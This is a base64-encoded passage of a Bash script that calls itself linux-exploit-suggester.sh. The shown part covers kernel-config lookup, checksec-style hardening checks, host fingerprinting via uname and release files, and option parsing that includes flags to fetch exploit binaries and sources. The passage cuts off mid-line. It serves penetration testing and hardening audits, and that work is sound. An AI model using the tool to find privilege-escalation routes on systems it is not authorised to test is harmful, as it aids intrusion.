ICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDIKCiAgICAgICAgIyBmb3Igb3RoZXIgbW9kZXM6IHNraXAgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGNvbXBhcmUgJiByZXR1cm4gcmVzdWx0CiAgICAgICAgY29tcGFyZVZhbHVlcyAkY3VyVmFsICR2YWwgJHNpZ24gJiYgcmV0dXJuIDAKCiAgICBlbGlmIFtbICIkSU4iID1+IF5jbWQ6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIGNtZD0iJHtJTjo0fSIKICAgICAgICBpZiBldmFsICIke2NtZH0iOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKZ2V0S2VybmVsQ29uZmlnKCkgewoKICAgIGlmIFsgLWYgL3Byb2MvY29uZmlnLmd6IF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iemNhdCAvcHJvYy9jb25maWcuZ3oiCiAgICBlbGlmIFsgLWYgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAiCiAgICBlbGlmIFsgLWYgIiR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ii8uY29uZmlnIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0ICR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ly5jb25maWciCiAgICBlbHNlCiAgICAgICAgS0NPTkZJRz0iIgogICAgZmkKfQoKY2hlY2tzZWNNb2RlKCkgewoKICAgIE1PREU9MAoKICAgICMgc3RhcnQgYW5hbHlzaXMKZm9yIEZFQVRVUkUgaW4gIiR7RkVBVFVSRVNbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRGRUFUVVJFIgoKCSMgbW9kZXM6IGtlcm5lbC1mZWF0dXJlICgxKSB8IGh3LWZlYXR1cmUgKDIpIHwgM3JkcGFydHktZmVhdHVyZSAoMykgfCBhdHRhY2stc3VyZmFjZSAoNCkKICAgIE5BTUU9IiR7YXJyWzBdfSIKICAgIFBSRV9OQU1FPSIke05BTUU6MDo4fSIKICAgIE5BTUU9IiR7TkFNRTo5fSIKICAgIGlmIFsgIiR7UFJFX05BTUV9IiA9ICJzZWN0aW9uOiIgXTsgdGhlbgoJCSMgYWR2YW5jZSB0byBuZXh0IE1PREUKCQlNT0RFPSQoKCRNT0RFICsgMSkpCgogICAgICAgIGVjaG8KICAgICAgICBlY2hvIC1lICIke2JsZHdodH0ke05BTUV9JHt0eHRyc3R9IgogICAgICAgIGVjaG8KICAgICAgICBjb250aW51ZQogICAgZmkKCiAgICBBVkFJTEFCTEU9IiR7YXJyWzFdfSIgJiYgQVZBSUxBQkxFPSIke0FWQUlMQUJMRToxMX0iCiAgICBFTkFCTEU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJlbmFibGVkOiAiIHwgYXdrIC1GJ2VkOiAnICd7cHJpbnQgJDJ9JykKICAgIGFuYWx5c2lzX3VybD0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgogICAgIyBzcGxpdCBsaW5lIHdpdGggYXZhaWxhYmlsaXR5IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgYXZhaWxhYmlsaXR5IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkQVZBSUxBQkxFIgogICAgQVZBSUxBQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9MAoJQ09ORklHPSIiCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCgoJCSMgZmluZCBDT05GSUdfIG5hbWUgKGlmIHByZXNlbnQpIGZvciBjdXJyZW50IGZlYXR1cmUgKG9ubHkgZm9yIGRpc3BsYXkgcHVycG9zZXMpCgkJaWYgWyAteiAiJENPTkZJRyIgXTsgdGhlbgoJCQljb25maWc9JChlY2hvICIkUkVRIiB8IGdyZXAgIkNPTkZJR18iKQoJCQlbIC1uICIkY29uZmlnIiBdICYmIENPTkZJRz0iKCQoZWNobyAkUkVRIHwgY3V0IC1kJz0nIC1mMSkpIgoJCWZpCgogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIik7IHRoZW4KICAgICAgICAgICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9JCgoJEFWQUlMQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBzcGxpdCBsaW5lIHdpdGggZW5hYmxlbWVudCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGVuYWJsZW1lbnQgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIEVOQUJMRV9QQVNTRURfUkVRPTAKICAgIEVOQUJMRV9SRVFTX05VTT0wCiAgICBub1N5c2N0bD0wCiAgICBpZiBbIC1uICIkRU5BQkxFIiBdOyB0aGVuCiAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEVOQUJMRSIKICAgICAgICBFTkFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICAgICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgICAgICBjbWRTdGRvdXQ9JChjaGVja1JlcXVpcmVtZW50ICIkUkVRIikKICAgICAgICAgICAgcmV0VmFsPSQ/CiAgICAgICAgICAgIGlmIFsgJHJldFZhbCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBFTkFCTEVfUEFTU0VEX1JFUT0kKCgkRU5BQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICAgICAgZWxpZiBbICRyZXRWYWwgLWVxIDIgXTsgdGhlbgogICAgICAgICAgICAjIHNwZWNpYWwgY2FzZTogc3lzY3RsIGVudHJ5IGlzIG5vdCBwcmVzZW50IG9uIGdpdmVuIHN5c3RlbTogc2lnbmFsIGl0IGFzOiBOL0EKICAgICAgICAgICAgICAgIG5vU3lzY3RsPTEKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZG9uZQogICAgZmkKCiAgICBmZWF0dXJlPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZmVhdHVyZTogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCglpZiBbIC1uICIkY21kU3Rkb3V0IiBdOyB0aGVuCiAgICAgICAgaWYgWyAiJGNtZFN0ZG91dCIgLWVxIDAgXTsgdGhlbgogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dHJlZH1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHN0YXRlPSJbICR7dHh0Z3JufVNldCB0byAkY21kU3Rkb3V0JHt0eHRyc3R9IF0iCgkJCWNtZFN0ZG91dD0iIgogICAgICAgIGZpCiAgICBlbHNlCgoJdW5rbm93bj0iWyAke3R4dGdyYXl9VW5rbm93biR7dHh0cnN0fSAgXSIKCgkjIGZvciAzcmQgcGFydHkgKDMpIG1vZGUgZGlzcGxheSAiTi9BIiBvciAiRW5hYmxlZCIKCWlmIFsgJE1PREUgLWVxIDMgXTsgdGhlbgogICAgICAgIGVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgIF0iCiAgICAgICAgZGlzYWJsZWQ9IlsgICAke3R4dGdyYXl9Ti9BJHt0eHRyc3R9ICAgIF0iCgogICAgIyBmb3IgYXR0YWNrLXN1cmZhY2UgKDQpIG1vZGUgZGlzcGxheSAiTG9ja2VkIiBvciAiRXhwb3NlZCIKICAgIGVsaWYgWyAkTU9ERSAtZXEgNCBdOyB0aGVuCiAgICAgICBlbmFibGVkPSJbICR7dHh0cmVkfUV4cG9zZWQke3R4dHJzdH0gIF0iCiAgICAgICBkaXNhYmxlZD0iWyAke3R4dGdybn1Mb2NrZWQke3R4dHJzdH0gICBdIgoKCSNvdGhlciBtb2RlcyIgIkRpc2FibGVkIiAvICJFbmFibGVkIgoJZWxzZQoJCWVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgXSIKCQlkaXNhYmxlZD0iWyAke3R4dHJlZH1EaXNhYmxlZCR7dHh0cnN0fSBdIgoJZmkKCglpZiBbIC16ICIkS0NPTkZJRyIgLWEgIiRFTkFCTEVfUkVRU19OVU0iID0gMCBdOyB0aGVuCgkgICAgc3RhdGU9JHVua25vd24KICAgIGVsaWYgWyAkQVZBSUxBQkxFX1BBU1NFRF9SRVEgLWVxICRBVkFJTEFCTEVfUkVRU19OVU0gLWEgJEVOQUJMRV9QQVNTRURfUkVRIC1lcSAkRU5BQkxFX1JFUVNfTlVNIF07IHRoZW4KICAgICAgICBzdGF0ZT0kZW5hYmxlZAogICAgZWxzZQogICAgICAgIHN0YXRlPSRkaXNhYmxlZAoJZmkKCiAgICBmaQoKICAgIGVjaG8gLWUgIiAkc3RhdGUgJGZlYXR1cmUgJHt3aHR9JHtDT05GSUd9JHt0eHRyc3R9IgogICAgWyAtbiAiJGFuYWx5c2lzX3VybCIgXSAmJiBlY2hvIC1lICIgICAgICAgICAgICAgICRhbmFseXNpc191cmwiCiAgICBlY2hvCgpkb25lCgp9CgpkaXNwbGF5RXhwb3N1cmUoKSB7CiAgICBSQU5LPSQxCgogICAgaWYgWyAiJFJBTksiIC1nZSA2IF07IHRoZW4KICAgICAgICBlY2hvICJoaWdobHkgcHJvYmFibGUiCiAgICBlbGlmIFsgIiRSQU5LIiAtZ2UgMyBdOyB0aGVuCiAgICAgICAgZWNobyAicHJvYmFibGUiCiAgICBlbHNlCiAgICAgICAgZWNobyAibGVzcyBwcm9iYWJsZSIKICAgIGZpCn0KCiMgcGFyc2UgY29tbWFuZCBsaW5lIHBhcmFtZXRlcnMKQVJHUz0kKGdldG9wdCAtLW9wdGlvbnMgJFNIT1JUT1BUUyAgLS1sb25nb3B0aW9ucyAkTE9OR09QVFMgLS0gIiRAIikKWyAkPyAhPSAwIF0gJiYgZXhpdFdpdGhFcnJNc2cgIkFib3J0aW5nLiIKCmV2YWwgc2V0IC0tICIkQVJHUyIKCndoaWxlIHRydWU7IGRvCiAgICBjYXNlICIkMSIgaW4KICAgICAgICAtdXwtLXVuYW1lKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBVTkFNRV9BPSIkMSIKICAgICAgICAgICAgb3B0X3VuYW1lX3N0cmluZz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLVZ8LS12ZXJzaW9uKQogICAgICAgICAgICB2ZXJzaW9uCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1ofC0taGVscCkKICAgICAgICAgICAgdXNhZ2UgCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1mfC0tZnVsbCkKICAgICAgICAgICAgb3B0X2Z1bGw9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1nfC0tc2hvcnQpCiAgICAgICAgICAgIG9wdF9zdW1tYXJ5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtYnwtLWZldGNoLWJpbmFyaWVzKQogICAgICAgICAgICBvcHRfZmV0Y2hfYmlucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLXN8LS1mZXRjaC1zb3VyY2VzKQogICAgICAgICAgICBvcHRfZmV0Y2hfc3Jjcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWt8LS1rZXJuZWwpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIEtFUk5FTD0iJDEiCiAgICAgICAgICAgIG9wdF9rZXJuZWxfdmVyc2lvbj10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWR8LS1zaG93LWRvcykKICAgICAgICAgICAgb3B0X3Nob3dfZG9zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtcHwtLXBrZ2xpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgUEtHTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X3BrZ2xpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jdmVsaXN0LWZpbGUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIENWRUxJU1RfRklMRT0iJDEiCiAgICAgICAgICAgIG9wdF9jdmVsaXN0X2ZpbGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tY2hlY2tzZWMpCiAgICAgICAgICAgIG9wdF9jaGVja3NlY19tb2RlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWtlcm5lbHNwYWNlLW9ubHkpCiAgICAgICAgICAgIG9wdF9rZXJuZWxfb25seT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS11c2Vyc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X3VzZXJzcGFjZV9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtcGtnLXZlcnNpb25zKQogICAgICAgICAgICBvcHRfc2tpcF9wa2dfdmVyc2lvbnM9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIGlmIFsgIiQjIiAhPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIlVua25vd24gb3B0aW9uICckMScuIEFib3J0aW5nLiIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIHNoaWZ0CmRvbmUKCiMgY2hlY2sgQmFzaCB2ZXJzaW9uIChhc3NvY2lhdGl2ZSBhcnJheXMgbmVlZCBCYXNoIGluIHZlcnNpb24gNC4wKykKaWYgKChCQVNIX1ZFUlNJTkZPWzBdIDwgNCkpOyB0aGVuCiAgICBleGl0V2l0aEVyck1zZyAiU2NyaXB0IG5lZWRzIEJhc2ggaW4gdmVyc2lvbiA0LjAgb3IgbmV3ZXIuIEFib3J0aW5nLiIKZmkKCiMgZXhpdCBpZiBib3RoIC0ta2VybmVsIGFuZCAtLXVuYW1lIGFyZSBzZXQKWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfdW5hbWVfc3RyaW5nID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC1rfC0ta2VybmVsIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKCiMgZXhpdCBpZiBib3RoIC0tZnVsbCBhbmQgLS1zaG9ydCBhcmUgc2V0ClsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfc3VtbWFyeSA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtZnwtLWZ1bGwgYW5kIC1nfC0tc2hvcnQgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyAtLWN2ZWxpc3QtZmlsZSBtb2RlIGlzIHN0YW5kYWxvbmUgbW9kZSBhbmQgaXMgbm90IGFwcGxpY2FibGUgd2hlbiBvbmUgb2YgLWsgfCAtdSB8IC1wIHwgLS1jaGVja3NlYyBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICEgLWUgIiRDVkVMSVNUX0ZJTEUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlByb3ZpZGVkIENWRSBsaXN0IGZpbGUgZG9lcyBub3QgZXhpc3RzLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtcHwtLXBrZ2xpc3QtZmlsZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyAtLWNoZWNrc2VjIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWN2ZWxpc3QtZmlsZSBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWt8LS1rZXJuZWwgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKZmkKCiMgZXh0cmFjdCBrZXJuZWwgdmVyc2lvbiBhbmQgb3RoZXIgT1MgaW5mbyBsaWtlIGRpc3RybyBuYW1lLCBkaXN0cm8gdmVyc2lvbiwgZXRjLiAzIHBvc3NpYmlsaXRpZXMgaGVyZToKIyBjYXNlIDE6IC0ta2VybmVsIHNldAppZiBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgIyBUT0RPOiBhZGQga2VybmVsIHZlcnNpb24gbnVtYmVyIHZhbGlkYXRpb24KICAgIFsgLXogIiRLRVJORUwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlVucmVjb2duaXplZCBrZXJuZWwgdmVyc2lvbiBnaXZlbi4gQWJvcnRpbmcuIgogICAgQVJDSD0iIgogICAgT1M9IiIKCiAgICAjIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIG9uIGN1cnJlbnQgbWFjaGluZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQoKICAgICMgZG8gbm90IGNvbnNpZGVyIGN1cnJlbnQgT1MKICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgojIGNhc2UgMjogLS11bmFtZSBzZXQKZWxpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIF07IHRoZW4KICAgIFsgLXogIiRVTkFNRV9BIiBdICYmIGV4aXRXaXRoRXJyTXNnICJ1bmFtZSBzdHJpbmcgZW1wdHkuIEFib3J0aW5nLiIKICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAzOiAtLWN2ZWxpc3QtZmlsZSBtb2RlCmVsaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgojIGNhc2UgNDogLS1jaGVja3NlYyBtb2RlCmVsaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgIyB0aGlzIHN3aXRjaCBpcyBub3QgYXBwbGljYWJsZSBpbiB0aGlzIG1vZGUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCgogICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICBnZXRLZXJuZWxDb25maWcKICAgIFsgLXogIiRLQ09ORklHIiBdICYmIGVjaG8gIldBUk5JTkcuIEtlcm5lbCBDb25maWcgbm90IGZvdW5kIG9uIHRoZSBzeXN0ZW0gcmVzdWx0cyB3b24ndCBiZSBjb21wbGV0ZS4iCgogICAgIyBsYXVuY2ggY2hlY2tzZWMgbW9kZQogICAgY2hlY2tzZWNNb2RlCgogICAgZXhpdCAwCgojIGNhc2UgNTogbm8gLS11bmFtZSB8IC0ta2VybmVsIHwgLS1jdmVsaXN0LWZpbGUgfCAtLWNoZWNrc2VjIHNldAplbHNlCgogICAgIyAtLXBrZ2xpc3QtZmlsZSBOT1QgcHJvdmlkZWQ6IHRha2UgYWxsIGluZm8gZnJvbSBjdXJyZW50IG1hY2hpbmUKICAgICMgY2FzZSBmb3IgdmFuaWxsYSBleGVjdXRpb246IC4vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2gKICAgIGlmIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9PSAiZmFsc2UiIF07IHRoZW4KICAgICAgICBVTkFNRV9BPSQodW5hbWUgLWEpCiAgICAgICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIGdldEtlcm5lbENvbmZpZwoKICAgICAgICAjIGV4dHJhY3QgZGlzdHJpYnV0aW9uIHZlcnNpb24gZnJvbSAvZXRjL29zLXJlbGVhc2UgT1IgL2V0Yy9sc2ItcmVsZWFzZQogICAgICAgIFsgLW4gIiRPUyIgLWEgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgRElTVFJPPSQoZ3JlcCAtcyAtRSAnXkRJU1RSSUJfUkVMRUFTRT18XlZFUlNJT05fSUQ9JyAvZXRjLyotcmVsZWFzZSB8IGN1dCAtZCc9JyAtZjIgfCBoZWFkIC0xIHwgdHIgLWQgJyInKQoKICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSBsaXN0aW5nIGZyb20gY3VycmVudCBPUwogICAgICAgIGdldFBrZ0xpc3QgIiRPUyIgIiIKCiAgICAjIC0tcGtnbGlzdC1maWxlIHByb3ZpZGVkOiBvbmx5IGNvbnNpZGVyIHVzZXJzcGFjZSBleHBsb2l0cyBhZ2FpbnN0IHByb3ZpZGVkIHBhY2thZ2UgbGlzdGluZwogICAgZWxzZQogICAgICAgIEtFUk5FTD0iIgogICAgICAgICNUT0RPOiBleHRyYWN0IG1hY2hpbmUgYXJjaCBmcm9tIHBhY2thZ2UgbGlzdGluZwogICAgICAgIEFSQ0g9IiIKICAgICAgICB1bnNldCBFWFBMT0lUUwogICAgICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKICAgICAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKICAgICAgICAjIGFkZGl0aW9uYWwgY2hlY2tzIGFyZSBub3QgYXBwbGljYWJsZSBmb3IgdGhpcyBtb2RlCiAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgZmkKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9QXZhaWxhYmxlIGluZm9ybWF0aW9uOiR7dHh0cnN0fSIKZWNobwpbIC1uICIkS0VSTkVMIiBdICYmIGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dGdybn0kS0VSTkVMJHt0eHRyc3R9IiB8fCBlY2hvIC1lICJLZXJuZWwgdmVyc2lvbjogJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IgplY2hvICJBcmNoaXRlY3R1cmU6ICQoWyAtbiAiJEFSQ0giIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JEFSQ0gke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgplY2hvICJEaXN0cmlidXRpb246ICQoWyAtbiAiJE9TIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRPUyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gLWUgIkRpc3RyaWJ1dGlvbiB2ZXJzaW9uOiAkKFsgLW4gIiRESVNUUk8iIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JERJU1RSTyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgplY2hvICJBZGRpdGlvbmFsIGNoZWNrcyAoQ09ORklHXyosIHN5c2N0bCBlbnRyaWVzLCBjdXN0b20gQmFzaCBjb21tYW5kcyk6ICQoWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9PSAiZmFsc2UiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59cGVyZm9ybWVkJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIC1hIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn0kUEtHTElTVF9GSUxFJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dHJlZH11bnJlY29nbml6ZWQgZmlsZSBwcm92aWRlZCR7dHh0cnN0fSIKZWxpZiBbIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn1mcm9tIGN1cnJlbnQgT1Mke3R4dHJzdH0iCmZpCgplY2hvIC1lICJQYWNrYWdlIGxpc3Rpbmc6ICQoWyAtbiAiJHBrZ0xpc3RGaWxlIiBdICYmIGVjaG8gLWUgIiRwa2dMaXN0RmlsZSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgojIGhhbmRsZSAtLWtlcm5lbHNwYWN5LW9ubHkgJiAtLXVzZXJzcGFjZS1vbmx5IGZpbHRlciBvcHRpb25zCmlmIFsgIiRvcH